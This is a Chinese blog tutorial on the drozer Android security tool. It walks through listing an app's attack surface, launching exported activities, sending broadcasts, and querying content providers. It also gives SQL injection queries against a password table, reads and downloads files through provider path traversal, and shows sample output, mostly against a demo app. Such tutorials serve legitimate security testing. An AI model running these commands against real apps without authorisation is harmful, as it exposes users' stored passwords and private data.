您的位置:首页 > 移动开发

Drozer的使用

2017-09-21 16:44 295 查看

前言

前面已经讲了drozer的安装和启动,如果你发现执行命令的时候,出现

adb server version (31)doesn't match this client (39);killing...
error:could not install *smartsocket* listener: cannot bind to ...(10048)


很可能是360手机助手占用了端口,手机卸载360手机助手,Windows结束360手机助手的进程。

下面开始实战。

一、连接手机,进入dz

在前面讲安装dz的时候,已经讲了这部分。

大体说一下吧。

手机电脑数据线连接,将手机上的drozer Agent设置Enabled。

电脑执行

adb forward tcp:31415 tcp:31415

drozer console connect


进入dz。

二、操作

1、根据关键字可以查找包名列表

run app.package.list -f com.***


2、获取app信息

run app.package.info -a com.***




3、识别应用的攻击面

run app.package.attacksurface com.***




4、查看activity的详情

Activity是Android四大组件之一,它用于展示界面。Activity是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务。Activity中所有操作都与用户密切相关,是一个负责与用户交互的组件,可以通过setContentView(View)来显示指定控件。在一个android应用中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。Activity之间通过Intent进行通信。

run app.activity.info -a com.***




// 使用这个命令可以查看更详细的内容
run app.activity.info -a com.** -i


5、使用drozer启动这个activity

根据上一节我们知道了这个activity的全称,我们早已知包名。

执行:

run app.activity.start –-component com.sgcc.xingfu com.sgcc.xingfu.activity.SplashActivity


执行后,发现可以启动这个页面,这个页面是引导页。

6、查看的broadcast的详情

在Android中,Broadcast是一种广泛运用的在应用程序之间传输信息的机制。而BroadcastReceiver是对发送出来的Broadcast进行过滤接受并响应的一类组件。广播接收者(BroadcastReceiver)用于接收广播Intent的, 广播Intent的发送是通过调用sendBroadcast/sendOrderedBroadcast来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收。

run app.broadcast.info -a com***




// 使用这个命令查看broadcast更详细的信息,包括action
run app.broadcast.info -a com.***  -i




run app.broadcast.send --component  包名 广播名
run app.broadcast.send --component 包名 --action android.intent.action.XXX


7、content provider

ContentProvider:内容提供者是应用程序之间共享数据的接口,使用ContentProvider共享数据的好处是统一了数据访问方式。

run app.provider.info -a com.**




8、查找uri

run app.provider.finduri com.***




获取所有可以访问的Uri

run scanner.provider.finduris -a com.***




对数据进行查看

// 假设存在暴露的provider
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical


简单的SQL注入

//假设暴露的是
//content://com.**.sieve.DBContentProvider/Passwords/
// 执行
dz> run app.provider.query content://com.**/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.**/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

dz> run app.provider.query content://com.**/Passwords/ --projection "*"
| _id | service | username | password | email |

dz> run app.provider.query content://com.**/Passwords/ --projection "* from sqlite_master where 1=1; --"
// 下面是表格
// 为了方便看,整理了一下


typenametbl_namerootpagesql
tableandroid_metadataandroid_metadata3CREATE TABLE android_meta data (locale TEXT)
tablePasswordsPasswords4CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email )
tableKeyKey5CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )
indexsqlite_autoindex_Key_1Key6null
检测sql注入和目录遍历

run scanner.provider.injection -a com.**

run scanner.provider.traversal -a com.**


遍历下载文件

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

dz> run app.provider.download content://com.**.FileBackupProvider/data/data/com.**.sie
ve/databases/database.db/home/user/database.db


9、查看暴露的service

很多情况下,一些与用户很少需要产生交互的应用程序,我们一般让它们在后台运行就行了,而且在它们运行期间我们仍然能运行其他的应用。为了处理这种后台进程,Android引入了Service的概念。

run app.service.info -a com.***




注:此APP已经优化,复现不了以上步骤,大家可以自己写个demo或者从网络上download其他工程进行操作。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息